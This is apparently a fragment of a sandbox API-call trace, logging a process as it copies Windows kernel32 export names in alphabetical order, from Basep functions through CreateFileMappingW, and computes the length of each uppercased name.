[0101.778] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0101.778] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0101.778] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0101.778] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0101.778] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0101.778] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0101.778] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0101.778] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0101.778] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0101.779] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0101.779] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0101.779] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0101.779] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0101.779] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0101.779] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0101.779] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0101.779] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0101.779] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0101.779] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0101.779] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0101.779] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0101.779] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0101.779] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0101.779] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0101.779] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0101.779] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0101.780] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0101.780] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0101.780] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0101.780] lstrlenA (lpString="BEEP") returned 4 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0101.780] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0101.780] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0101.780] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0101.780] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0101.780] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0101.780] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0101.780] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0101.780] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0101.780] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0101.780] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0101.780] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0101.781] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0101.781] lstrlenA (lpString="CANCELIO") returned 8 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0101.781] lstrlenA (lpString="CANCELIOEX") returned 10 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0101.781] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0101.781] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0101.781] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0101.781] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0101.781] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0101.781] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0101.781] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0101.781] lstrlenA (lpString="CHECKELEVATION") returned 14 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0101.781] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0101.781] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0101.781] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0101.781] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0101.781] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0101.781] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0101.781] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0101.781] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0101.782] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0101.782] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0101.782] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0101.782] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0101.782] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0101.782] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0101.782] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0101.782] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0101.782] lstrlenA (lpString="CLOSESTATE") returned 10 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0101.782] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0101.782] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0101.782] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0101.782] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0101.782] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0101.782] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0101.782] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0101.782] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0101.782] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0101.782] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0101.783] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0101.783] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0101.783] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0101.783] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0101.783] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0101.783] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0101.783] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0101.783] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0101.783] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0101.783] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0101.783] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0101.783] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0101.783] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0101.783] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0101.783] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0101.783] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0101.783] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0101.783] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0101.783] lstrlenA (lpString="COPYCONTEXT") returned 11 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0101.784] lstrlenA (lpString="COPYFILE2") returned 9 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0101.784] lstrlenA (lpString="COPYFILEA") returned 9 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0101.784] lstrlenA (lpString="COPYFILEEXA") returned 11 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0101.784] lstrlenA (lpString="COPYFILEEXW") returned 11 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0101.784] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0101.784] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0101.784] lstrlenA (lpString="COPYFILEW") returned 9 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0101.784] lstrlenA (lpString="COPYLZFILE") returned 10 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0101.784] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0101.784] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0101.784] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0101.784] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0101.784] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0101.784] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0101.784] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0101.784] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0101.785] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0101.785] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0101.785] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0101.785] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0101.785] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0101.785] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0101.785] lstrlenA (lpString="CREATEEVENTA") returned 12 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0101.785] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0101.785] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0101.785] lstrlenA (lpString="CREATEEVENTW") returned 12 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0101.785] lstrlenA (lpString="CREATEFIBER") returned 11 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0101.785] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0101.785] lstrlenA (lpString="CREATEFILE2") returned 11 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0101.785] lstrlenA (lpString="CREATEFILEA") returned 11 [0101.785] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0101.786] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0101.786] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0101.786] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0101.786] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0101.786] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" 